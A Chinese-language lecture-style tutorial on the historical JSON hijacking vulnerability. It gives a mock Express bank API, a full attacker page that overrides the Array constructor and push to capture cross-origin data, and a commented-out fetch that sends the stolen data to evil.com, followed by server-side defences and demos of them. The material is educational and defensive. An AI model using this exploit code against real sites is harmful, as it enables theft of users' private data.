各位开发者、安全爱好者们,大家好!
今天,我们将深入探讨一个在Web安全领域曾引起广泛关注,并对现代Web API设计产生深远影响的古老而经典的漏洞——JSON劫持(JSON Hijacking)。虽然随着浏览器技术和Web安全标准的演进,其直接威胁已大大降低,但理解其原理,对于我们认识Web安全防护的本质、掌握防御性编程思想,以及应对可能出现的变种攻击,仍然至关重要。
我们将以一场技术讲座的形式,逐步揭开JSON劫持的神秘面纱,从其工作原理、攻击手法、到详细的代码演示,再到行之有效的防御策略。
一、 JSON劫持:历史的回响与核心思想
在Web 2.0时代,JSON(JavaScript Object Notation)作为一种轻量级的数据交换格式,因其简洁性和与JavaScript的天然契合,迅速取代XML成为主流。它不仅用于前端与后端的数据传输,也常被第三方服务作为API的返回格式。然而,正是这种“天然契合”——JSON本质上就是JavaScript代码的一种子集——在某些历史背景下,催生了JSON劫持的可能。
JSON劫持的核心思想在于:攻击者利用浏览器在特定场景下对跨域<script>标签加载内容的宽松处理,以及JavaScript语言本身的特性,诱导受害用户的浏览器加载并执行一个包含敏感JSON数据的跨域URL,并通过恶意代码“劫持”这些数据。
想象一下:你登录了一个银行网站,你的浏览器保存着你的会话凭证(Cookie)。此时,你又不小心访问了一个恶意网站。这个恶意网站可能会偷偷地向银行网站的某个API发送请求,而由于你的浏览器会自动携带银行网站的Cookie,银行网站会认为这是一个合法的请求,并返回包含你账户信息(以JSON格式)的数据。在现代浏览器和标准下,这些数据通常无法被恶意网站直接读取。但JSON劫持,正是那个“曾经”的例外。
二、 脆弱的基石:旧版浏览器与JavaScript数组构造器
要理解JSON劫持,我们首先需要回顾两个关键点:
-
<script>标签的跨域能力:Web浏览器的同源策略(Same-Origin Policy, SOP)是Web安全的核心基石,它限制了不同源的文档或脚本对彼此资源的访问。然而,SOP对某些HTML标签(如<img>、<link>、<script>)的资源加载行为是放宽的。这意味着,一个页面可以自由地通过<script src="https://other-domain.com/data.js"></script>加载来自任何域的JavaScript文件。加载后,这些JavaScript代码会在当前页面的上下文中执行。 -
JSON的语法特性与JavaScript的执行环境:
- JSON对象
{ "key": "value" }在JavaScript中是一个对象字面量,但如果它作为独立语句出现,会被解析为一个代码块,不会直接暴露其内部值。 - JSON数组
[ "item1", "item2" ]在JavaScript中是一个数组字面量。在旧版浏览器中,当通过<script>标签加载一个以[开头的JSON数组时,浏览器会将其视为有效的JavaScript代码,并尝试执行它,即构造一个数组。
- JSON对象
正是第二点,成为了JSON劫持的突破口。攻击者可以在<script>标签加载受害网站的敏感JSON数据之前,重写(劫持)JavaScript内置的Array构造函数或Array.prototype上的方法。当浏览器加载并尝试“执行”这个JSON数组时,攻击者重写的函数就会被调用,从而捕获到数组中的敏感数据。
2.1 JavaScript数组构造器的劫持原理
在JavaScript中,当我们写 var arr = [1, 2, 3]; 时,实际上等同于 var arr = new Array(1, 2, 3);(虽然两者在一些细节上有所不同,但对于旧版浏览器处理JSON数组而言,这种等价性是关键)。
因此,如果攻击者能够做到:
- 在加载跨域JSON数组前,将
window.Array对象替换为自己的恶意函数。 - 当浏览器解析JSON数组时,调用这个被劫持的
Array函数,并将JSON数组的元素作为参数传递给它。
那么,攻击者就能在自己的恶意函数中,直接获取到这些敏感数据。
更进一步的,有些劫持技术还会通过重写 Array.prototype.push 或定义数组索引的 setter 属性来捕获数据。因为即使 Array 构造函数本身不被直接调用,数组的元素也可能在内部通过 push 方法或直接赋值给索引来填充。
三、 攻击场景:一步步演示JSON劫持
为了更具体地说明JSON劫持,我们来构建一个假设的攻击场景:
场景设定:
- 受害者网站 (Victim Domain):
https://bank.example.com- 用户在该网站登录,浏览器中存有会话Cookie。
- 提供一个API接口
/api/transactions,用于获取用户的交易记录。该接口返回一个JSON数组,包含敏感的交易数据。 - 示例数据:
[ { "id": "TXN001", "amount": 100.50, "currency": "USD", "description": "Online Purchase", "date": "2023-01-15" }, { "id": "TXN002", "amount": 25.00, "currency": "USD", "description": "Coffee Shop", "date": "2023-01-16" }, { "id": "TXN003", "amount": 500.00, "currency": "USD", "description": "Salary Deposit", "date": "2023-01-20" } ]
- 攻击者网站 (Attacker Domain):
https://evil.com- 攻击者在此网站上部署恶意HTML页面,诱骗受害者访问。
攻击步骤:
- 用户登录
bank.example.com:用户正常登录银行网站,浏览器获取到会话Cookie。 - 用户访问
evil.com:用户不小心点击了钓鱼链接,访问了攻击者网站https://evil.com/malicious.html。 - 攻击者页面执行劫持代码:
malicious.html页面首先执行JavaScript代码,重写Array构造函数或Array.prototype上的关键方法。- 然后,
malicious.html页面通过<script>标签加载https://bank.example.com/api/transactions。
- 浏览器行为:
- 当浏览器请求
https://bank.example.com/api/transactions时,会自动携带bank.example.com的会话Cookie。 bank.example.com识别用户身份,返回包含敏感交易数据的JSON数组。- 旧版浏览器接收到这个以
[开头的响应体后,将其视为JavaScript代码,并尝试在evil.com的上下文中执行它,触发被攻击者重写的Array构造函数或方法。
- 当浏览器请求
- 数据被劫持:攻击者重写的函数捕获到这些交易数据,并可以将其发送到攻击者的服务器。
四、 深入代码:攻击者的Payload
我们来详细看看攻击者 https://evil.com/malicious.html 页面中的代码是如何工作的。
4.1 模拟受害者API (后端)
为了便于演示,我们先用Node.js/Express模拟一个 bank.example.com 上的敏感API。
bank.example.com (模拟服务器端代码):
// server.js (运行在端口 3000,模拟 bank.example.com)
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
const port = 3000;
app.use(cookieParser());
// 简单的认证中间件
const authenticate = (req, res, next) => {
// 假设通过一个名为 'session_id' 的 cookie 进行认证
if (req.cookies && req.cookies.session_id === 'user_session_abc123') {
req.user = { id: 'user123', username: 'Alice' };
next();
} else {
res.status(401).send('Unauthorized: Please log in to bank.example.com first.');
}
};
// 模拟登录接口 (设置 cookie)
app.get('/login', (req, res) => {
res.cookie('session_id', 'user_session_abc123', {
domain: 'localhost', // 注意:实际场景中应为 bank.example.com
httpOnly: true,
secure: false, // 实际场景中应为 true
maxAge: 3600000 // 1 hour
});
res.send('Logged in successfully! Now try visiting the malicious site.');
});
// 敏感交易记录API
app.get('/api/transactions', authenticate, (req, res) => {
const transactions = [
{ "id": "TXN001", "amount": 100.50, "currency": "USD", "description": "Online Purchase", "date": "2023-01-15" },
{ "id": "TXN002", "amount": 25.00, "currency": "USD", "description": "Coffee Shop", "date": "2023-01-16" },
{ "id": "TXN003", "amount": 500.00, "currency": "USD", "description": "Salary Deposit", "date": "2023-01-20" }
];
// 实际情况下,Content-Type 应该是 application/json
res.setHeader('Content-Type', 'application/json');
res.send(JSON.stringify(transactions));
});
// 为了 CORS 演示,允许跨域访问(但JSON劫持不依赖CORS)
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*'); // 实际中应限制特定来源
res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept');
next();
});
app.listen(port, () => {
console.log(`Victim Bank Server running at http://localhost:${port}`);
console.log(`Visit http://localhost:${port}/login to set cookie.`);
console.log(`Then visit http://localhost:${port}/api/transactions to check data with cookie.`);
console.log(`Finally, visit attacker's site (e.g., http://localhost:8080/malicious.html)`);
});
运行此服务器:
- 安装依赖:
npm init -y && npm install express cookie-parser - 运行:
node server.js - 在浏览器中访问
http://localhost:3000/login来设置会话Cookie。 - 然后访问
http://localhost:3000/api/transactions确认你能看到JSON数据。
4.2 攻击者页面 (前端)
evil.com (模拟前端代码 – malicious.html):
<!DOCTYPE html>
<html>
<head>
<title>JSON Hijacking Exploit - Attacker's Page</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
pre { background-color: #eee; padding: 10px; border: 1px solid #ccc; white-space: pre-wrap; word-break: break-all; }
</style>
</head>
<body>
<h1>JSON Hijacking Demonstration</h1>
<p>This page is attempting to hijack your sensitive transaction data from bank.example.com.</p>
<p>Please ensure you are logged into <a href="http://localhost:3000/login" target="_blank">bank.example.com</a> first, then refresh this page.</p>
<p>Check your browser's **console (F12)** for the extracted data!</p>
<div id="captured-data">
<h2>Captured Data:</h2>
<pre id="data-output">Waiting for data...</pre>
</div>
<script>
// 这是一个用于存储被劫持数据的数组
const hijackedDataStore = [];
// -----------------------------------------------------------
// 攻击核心:劫持 Array 构造函数和 Array.prototype.push 方法
// -----------------------------------------------------------
// 1. 劫持 Array 构造函数 (适用于旧版浏览器直接调用 Array 构造器的情况)
// 某些旧版浏览器在解析 `[...]` 时,可能会直接调用 `new Array(item1, item2, ...)`
const OriginalArray = window.Array; // 保存原始的 Array 构造函数
window.Array = function() {
console.warn("ATTACKER: Array constructor has been called!");
console.log("ATTACKER: Arguments passed to Array constructor:", arguments);
// 将所有传入构造函数的参数(即JSON数组的元素)存入我们的劫持数据存储
for (let i = 0; i < arguments.length; i++) {
hijackedDataStore.push(arguments[i]);
}
// 为了不完全破坏页面功能,我们仍调用原始的 Array 构造函数并返回其结果
// 但在实际攻击中,这一步可能不是必需的,或有更复杂的处理
return OriginalArray.apply(this, arguments);
};
// 2. 劫持 Array.prototype.push (更常见和通用的劫持方法)
// 许多浏览器即使不直接调用 Array 构造函数,也会在内部使用 push 方法来填充数组元素
const originalPush = Array.prototype.push; // 保存原始的 push 方法
Array.prototype.push = function() {
console.warn("ATTACKER: Array.prototype.push has been called!");
console.log("ATTACKER: Arguments pushed:", arguments);
// 将所有被 push 的参数(即JSON数组的元素)存入我们的劫持数据存储
for (let i = 0; i < arguments.length; i++) {
hijackedDataStore.push(arguments[i]);
}
// 调用原始的 push 方法,确保数组正常构建,以免触发脚本错误
return originalPush.apply(this, arguments);
};
// -----------------------------------------------------------
// 加载受害者网站的敏感JSON数据
// -----------------------------------------------------------
// 注意:这里的 src 路径要指向你运行的 bank.example.com 服务器
// 在本地测试时,通常是 http://localhost:3000
</script>
<script src="http://localhost:3000/api/transactions"></script>
<script>
// -----------------------------------------------------------
// 攻击后处理:数据外发
// -----------------------------------------------------------
// 在受害者JSON数据加载并执行完毕后,我们的 hijackedDataStore 应该已经填充了数据。
// 由于 <script> 标签是异步加载的,我们不能保证此处的代码在 JSON 加载前执行。
// 为了确保在数据被捕获后处理,通常会使用 setTimeout 或在更复杂的场景中利用事件监听。
// 但对于演示目的,简单地在加载脚本后立即检查是可行的,因为在旧版浏览器中,
// 脚本执行是同步的,或者说 Array/push 的劫持发生在脚本加载之前。
setTimeout(() => {
console.log("ATTACKER: JSON Hijacking attempt finished.");
console.log("ATTACKER: Final Hijacked Data:", hijackedDataStore);
const outputDiv = document.getElementById('data-output');
if (hijackedDataStore.length > 0) {
outputDiv.textContent = JSON.stringify(hijackedDataStore, null, 2);
// 实际攻击中,攻击者会将数据发送到自己的服务器
// fetch('https://evil.com/data_receiver', {
// method: 'POST',
// headers: { 'Content-Type': 'application/json' },
// body: JSON.stringify({ victimData: hijackedDataStore })
// });
// console.log("ATTACKER: Data sent to attacker's server (simulated).");
} else {
outputDiv.textContent = "No data captured. This might be due to modern browser protections or incorrect setup.";
}
// 恢复原始的 Array 构造函数和 push 方法 (可选,为了不影响页面后续功能)
window.Array = OriginalArray;
Array.prototype.push = originalPush;
console.log("ATTACKER: Original Array constructor and push method restored.");
}, 100); // 稍作延迟,确保脚本执行完毕
</script>
</body>
</html>
运行此攻击页面:
- 将上述HTML保存为
malicious.html。 - 通过一个本地Web服务器(例如,使用VS Code的Live Server插件,或Python的
http.server:python -m http.server 8080)运行它。 - 确保
bank.example.com服务器(Node.js)也在运行。 - 首先访问
http://localhost:3000/login登录。 - 然后访问
http://localhost:8080/malicious.html(或你的Web服务器地址)。 - 打开浏览器开发者工具 (F12),查看控制台输出。你会看到
ATTACKER相关的日志,以及被劫持的交易数据。
注意:
- 在现代浏览器中,由于对
<script>标签加载的跨域JSON数组有更严格的处理,直接运行此代码可能不会成功劫持数据。浏览器可能会抛出语法错误,或者根本不会触发Array构造函数/push方法的劫持。 - 要真正复现此漏洞,你需要使用像IE6、Firefox 2、Safari 2等非常旧的浏览器版本。尽管如此,上述代码仍然清晰地展示了攻击原理。
4.3 攻击原理表格总结
攻击方 (evil.com) |
受害方 (bank.example.com) |
浏览器行为 (旧版浏览器) |
|---|---|---|
1. 用户访问 evil.com/malicious.html |
浏览器加载 malicious.html |
|
2. malicious.html 执行 JS 代码重写 Array 构造函数和 Array.prototype.push |
Array 构造函数和 push 方法被替换为攻击者定义的恶意函数 |
|
3. malicious.html 页面中包含 <script src="https://bank.example.com/api/transactions"></script> |
浏览器向 https://bank.example.com/api/transactions 发送请求 |
|
bank.example.com 收到请求,因自动携带的会话Cookie而认证成功 |
浏览器自动附加 bank.example.com 的会话Cookie |
|
bank.example.com 返回敏感JSON数组 [...] |
浏览器接收响应,发现它以 [ 开头 |
|
浏览器将其视为 JavaScript 数组字面量,尝试在 evil.com 上下文执行 |
||
4. 被重写的 Array 构造函数或 push 方法被调用,参数为 JSON 数组的元素 |
攻击者定义的恶意函数被触发,捕获到 JSON 数据 | |
5. 攻击者将捕获到的数据发送回 evil.com 服务器 |
五、 为什么它能工作:同源策略的“例外”与执行上下文
JSON劫持之所以能够成功,是利用了同源策略的一个特定“盲点”:
-
同源策略的限制:SOP 严格限制了不同源的 JavaScript 脚本对彼此 DOM、Cookie、LocalStorage 或通过 XHR/Fetch 请求获取到的响应内容的直接访问。例如,
evil.com无法通过XMLHttpRequest直接读取bank.example.com的/api/transactions响应,因为那会触发 CORS 错误(除非bank.example.com明确允许evil.com跨域访问)。 -
<script>标签的例外:<script>标签是一个历史遗留的例外。它被允许加载来自任何源的脚本。当<script src="...">加载一个脚本时,脚本的内容会在当前页面的上下文(即evil.com的上下文)中执行。浏览器并不会检查加载的内容是否真的是 JavaScript,或者它的Content-Type是否是application/javascript。只要它看起来像可执行的JavaScript,浏览器就会尝试执行它。 -
认证信息的自动发送:当
<script>标签请求https://bank.example.com/api/transactions时,浏览器会像处理普通导航请求一样,自动将与bank.example.com关联的所有Cookie(包括会话Cookie)发送过去。这意味着,即使请求是由evil.com发起的,bank.example.com也会认为这是一个经过认证的、来自合法用户的请求,并返回敏感数据。
综合这三点,就形成了JSON劫持的攻击链:攻击者利用 <script> 标签绕过同源策略对 加载 的限制,利用 Cookie 机制绕过同源策略对 认证 的限制,再利用旧版浏览器对以 [ 开头的响应体进行 执行 的行为,最终在自己的页面上下文中获取到受害网站的敏感数据。
六、 防御策略:从根本上消除风险
JSON劫持的危害促使Web安全社区和浏览器厂商采取了多重防御措施。虽然现代浏览器已基本修复了这类直接的漏洞,但理解这些防御策略对于构建健壮的Web应用仍然至关重要。
6.1 现代浏览器对JSON劫持的修复
现代浏览器(如Chrome、Firefox、Edge等)已经不再允许通过 <script> 标签加载的跨域资源,如果其 Content-Type 明确指示为 application/json 且内容是JSON数组时,将其作为可执行的JavaScript数组字面量来处理。它们会抛出语法错误,或者根本不执行。这从根本上堵住了JSON劫持的漏洞。
尽管如此,我们不能完全依赖浏览器更新,尤其是在面对一些遗留系统或特定环境时。因此,服务器端的主动防御仍然是最佳实践。
6.2 服务器端主动防御措施
以下是几种行之有效的服务器端防御策略:
-
JSON前缀(JSON Vulnerability Protection – JSONV)
- 原理: 在返回的JSON数据前添加一些非法的JavaScript前缀,使其不再是有效的JavaScript数组字面量,从而阻止浏览器将其作为可执行代码处理。当合法的客户端(通过XHR/Fetch)接收到数据时,可以简单地移除这个前缀。
- 常见前缀:
while(1);:创建一个无限循环,阻止后续的JSON数组被解析。for(;;);:与while(1);类似,创建无限循环。)]}',n:一个常见的非JS语法前缀,由Google在AngularJS中推广。
- 优点: 简单有效,对合法客户端影响小。
- 缺点: 客户端需要额外处理(移除前缀)。
表格:JSON前缀示例 原始敏感JSON数组 添加 while(1);前缀后的响应[{"id": "TXN001", "amount": 100.50}]while(1);[{"id": "TXN001", "amount": 100.50}]原始敏感JSON数组 添加 )]}',n前缀后的响应:————————————- :—————————————————- [{"id": "TXN001", "amount": 100.50}])]}',n[{"id": "TXN001", "amount": 100.50}] -
返回JSON对象
{...}而非JSON数组[...]作为顶层结构- 原理: 如果API返回的顶层JSON是一个对象(即以
{开头),例如{"data": [...]},那么当它通过<script>标签加载时,会被浏览器解析为JavaScript的一个块语句(Block Statement),而不是一个可执行的表达式。块语句{ ... }在JavaScript中是合法的,但它不会直接执行任何赋值操作,也不会触发Array构造函数或push方法,因此攻击者无法直接劫持数据。 - 优点: 非常简单且有效,无需客户端做额外处理。
- 缺点: 需要调整API设计,如果API必须返回数组作为顶层结构,则不适用。
表格:JSON对象作为顶层结构示例 原始敏感JSON数组 修改为顶层JSON对象后的响应 [{"id": "TXN001", "amount": 100.50}]{"transactions": [{"id": "TXN001", "amount": 100.50}], "count": 1} - 原理: 如果API返回的顶层JSON是一个对象(即以
-
使用
Content-Type: application/json和严格的X-Content-Type-Options: nosniff- 原理: 尽管在旧版浏览器中,
<script>标签可能会忽略Content-Type,但设置正确的Content-Type仍然是最佳实践,它能帮助现代浏览器进行更严格的MIME类型检查。X-Content-Type-Options: nosniffHTTP头可以指示浏览器不要“嗅探”MIME类型,而是严格按照Content-Type头来处理响应。这有助于防止浏览器将JSON响应误判为JavaScript。 - 优点: 标准实践,增强整体安全性。
- 缺点: 对于旧版浏览器中的JSON劫持,效果有限。
- 原理: 尽管在旧版浏览器中,
-
使用CSRF Token(针对写操作,辅助防御)
- 原理: JSON劫持主要关注的是 读取 敏感数据。而CSRF(Cross-Site Request Forgery)是关于 执行 敏感操作(如转账、修改密码)。尽管两者是不同的漏洞,但API通常需要同时防御这两种攻击。CSRF Token可以确保所有敏感的写操作请求都必须包含一个由服务器生成的、不可预测的令牌,从而阻止攻击者伪造请求。
- 优点: 增强了API的写操作安全性。
- 缺点: 无法直接阻止JSON劫持(数据读取)。
-
严格的CORS策略(针对XHR/Fetch,辅助防御)
- 原理: 对于需要跨域访问的API,应配置严格的CORS(Cross-Origin Resource Sharing)策略,只允许受信任的源进行跨域请求。虽然JSON劫持不依赖于XHR/Fetch,但安全的CORS配置是整体API安全的一部分。
- 优点: 增强了通过XHR/Fetch方式访问API的安全性。
- 缺点: 无法直接阻止基于
<script>标签的JSON劫持。
6.3 防御代码示例 (Node.js/Express)
// server.js (包含防御措施的模拟服务器端代码)
const express = require('express');
const cookieParser = require('cookie-parser');
const app = express();
const port = 3000;
app.use(cookieParser());
const authenticate = (req, res, next) => {
if (req.cookies && req.cookies.session_id === 'user_session_abc123') {
req.user = { id: 'user123', username: 'Alice' };
next();
} else {
res.status(401).send('Unauthorized: Please log in to bank.example.com first.');
}
};
app.get('/login', (req, res) => {
res.cookie('session_id', 'user_session_abc123', {
domain: 'localhost',
httpOnly: true,
secure: false,
maxAge: 3600000
});
res.send('Logged in successfully!');
});
// 1. 防御:使用 JSON 前缀
app.get('/api/transactions_prefixed', authenticate, (req, res) => {
const transactions = [
{ "id": "TXN001", "amount": 100.50, "currency": "USD", "description": "Online Purchase", "date": "2023-01-15" }
];
res.setHeader('Content-Type', 'application/json');
// 添加 while(1); 前缀
res.send('while(1);' + JSON.stringify(transactions));
console.log('Serving /api/transactions_prefixed with JSON prefix.');
});
// 2. 防御:返回 JSON 对象作为顶层结构
app.get('/api/transactions_object', authenticate, (req, res) => {
const transactions = [
{ "id": "TXN001", "amount": 100.50, "currency": "USD", "description": "Online Purchase", "date": "2023-01-15" }
];
// 将数组包装在一个对象中
const responseData = {
status: 'success',
data: transactions,
timestamp: new Date().toISOString()
};
res.json(responseData); // Express 的 res.json() 会自动设置 Content-Type: application/json
console.log('Serving /api/transactions_object as top-level object.');
});
// 3. 始终设置 Content-Type 和 X-Content-Type-Options
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff'); // 重要的安全头
next();
});
app.listen(port, () => {
console.log(`Victim Bank Server running at http://localhost:${port}`);
console.log(`Visit http://localhost:${port}/login to set cookie.`);
console.log(`Try to hijack: http://localhost:8080/malicious.html`);
console.log(`Try to hijack (prefixed): http://localhost:8080/malicious_prefixed_attempt.html`);
console.log(`Try to hijack (object): http://localhost:8080/malicious_object_attempt.html`);
});
malicious_prefixed_attempt.html (尝试劫持带前缀的JSON):
<!DOCTYPE html>
<html>
<head>
<title>JSON Hijacking Exploit - Prefixed Attempt</title>
</head>
<body>
<h1>JSON Hijacking Demonstration - Attempting to hijack prefixed JSON</h1>
<p>This page attempts to hijack prefixed JSON. Check console for behavior. It should enter an infinite loop.</p>
<script>
const hijackedDataStore = [];
const OriginalArray = window.Array;
const originalPush = Array.prototype.push;
window.Array = function() {
console.warn("ATTACKER (Prefixed): Array constructor has been called!");
for (let i = 0; i < arguments.length; i++) {
hijackedDataStore.push(arguments[i]);
}
return OriginalArray.apply(this, arguments);
};
Array.prototype.push = function() {
console.warn("ATTACKER (Prefixed): Array.prototype.push has been called!");
for (let i = 0; i < arguments.length; i++) {
hijackedDataStore.push(arguments[i]);
}
return originalPush.apply(this, arguments);
};
</script>
<!-- 加载带 while(1); 前缀的 JSON -->
<script src="http://localhost:3000/api/transactions_prefixed"></script>
<script>
// 这段代码很可能不会被执行,因为前面的 while(1); 会导致无限循环
setTimeout(() => {
console.log("ATTACKER (Prefixed): JSON Hijacking attempt finished.");
console.log("ATTACKER (Prefixed): Final Hijacked Data:", hijackedDataStore);
}, 500);
</script>
</body>
</html>
结果: 当加载 transactions_prefixed 时,浏览器会执行 while(1); 导致脚本进入无限循环,页面卡死,后续脚本无法执行,数据无法被劫持。
malicious_object_attempt.html (尝试劫持顶层为对象的JSON):
<!DOCTYPE html>
<html>
<head>
<title>JSON Hijacking Exploit - Object Attempt</title>
</head>
<body>
<h1>JSON Hijacking Demonstration - Attempting to hijack object JSON</h1>
<p>This page attempts to hijack object JSON. Check console for behavior. No Array constructor/push should be called.</p>
<script>
const hijackedDataStore = [];
const OriginalArray = window.Array;
const originalPush = Array.prototype.push;
window.Array = function() {
console.warn("ATTACKER (Object): Array constructor has been called!");
for (let i = 0; i < arguments.length; i++) {
hijackedDataStore.push(arguments[i]);
}
return OriginalArray.apply(this, arguments);
};
Array.prototype.push = function() {
console.warn("ATTACKER (Object): Array.prototype.push has been called!");
for (let i = 0; i < arguments.length; i++) {
hijackedDataStore.push(arguments[i]);
}
return originalPush.apply(this, arguments);
};
</script>
<!-- 加载顶层为对象的 JSON -->
<script src="http://localhost:3000/api/transactions_object"></script>
<script>
setTimeout(() => {
console.log("ATTACKER (Object): JSON Hijacking attempt finished.");
console.log("ATTACKER (Object): Final Hijacked Data:", hijackedDataStore);
if (hijackedDataStore.length === 0) {
console.log("ATTACKER (Object): Successfully prevented hijacking by returning a top-level object.");
}
}, 500);
</script>
</body>
</html>
结果: 当加载 transactions_object 时,浏览器会将其解析为 { status: 'success', data: [...], ... } 这样的块语句。这并不会触发 Array 构造函数或 push 方法的调用,因此 hijackedDataStore 将保持为空,数据无法被劫持。
七、 历史与启发:理解Web安全演进
JSON劫持是一个典型的Web安全漏洞,它在Web发展早期出现,并随着技术进步和安全意识的提高而逐渐被修复和防御。
- 历史意义: 它揭示了在Web标准和浏览器实现不完善时期,数据与代码边界模糊的危险性。也正是这类漏洞,促使浏览器厂商加强了对跨域资源加载的MIME类型检查和内容执行策略。
- 现代启示: 尽管直接的JSON劫持已不常见,但其原理——利用同源策略的“例外”、认证信息的自动发送、以及数据被误判为代码执行——仍然是理解许多Web攻击(如CSRF、部分XSS、Clickjacking等)的基础。它提醒我们,在设计API和Web应用时,必须始终警惕数据被错误地解释或处理的可能性。防御性编程、最小权限原则、以及深度防御(Defense in Depth)是永恒的安全真理。
八、 展望:持续关注Web安全动态
JSON劫持的故事虽然告一段落,但Web安全领域的挑战从未停止。新的技术、新的交互模式不断涌现,随之而来的也可能是新的安全风险。作为开发者和安全专家,我们需要:
- 持续学习和关注: 了解最新的Web安全标准、漏洞报告和防御技术。
- 实践安全编码: 将安全视为开发过程中的一部分,而非事后修补。
- 审慎评估风险: 即使是“旧”的漏洞,在特定遗留系统或非标准环境下,也可能卷土重来。
希望通过今天的讲座,大家对JSON劫持有了深刻的理解,并能将这些安全知识应用到日常的Web开发实践中,共同构建一个更安全、更健壮的互联网世界。